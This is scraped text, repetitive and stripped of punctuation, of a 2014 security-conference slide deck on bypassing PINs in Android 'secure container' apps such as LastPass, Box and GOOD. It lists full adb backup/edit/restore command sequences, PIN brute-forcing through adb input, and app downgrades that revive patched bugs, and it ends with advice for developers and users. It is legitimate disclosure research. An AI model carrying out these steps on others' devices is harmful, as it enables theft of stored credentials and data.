Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 27: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 39

Scenario

bull Given physical access to a devicebull What security do ldquosecurerdquo containers provide

bull temporary access (lt 3 minutes)bull permanent access

Chris John Riley | 22102014 | 41

buthellip

Chris John Riley | 22102014 | 42

remember

Chris John Riley | 22102014 | 43

secure containers

will SAVE us

Chris John Riley | 22102014 | 44

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 28: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 41

buthellip

Chris John Riley | 22102014 | 42

remember

Chris John Riley | 22102014 | 43

secure containers

will SAVE us

Chris John Riley | 22102014 | 44

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

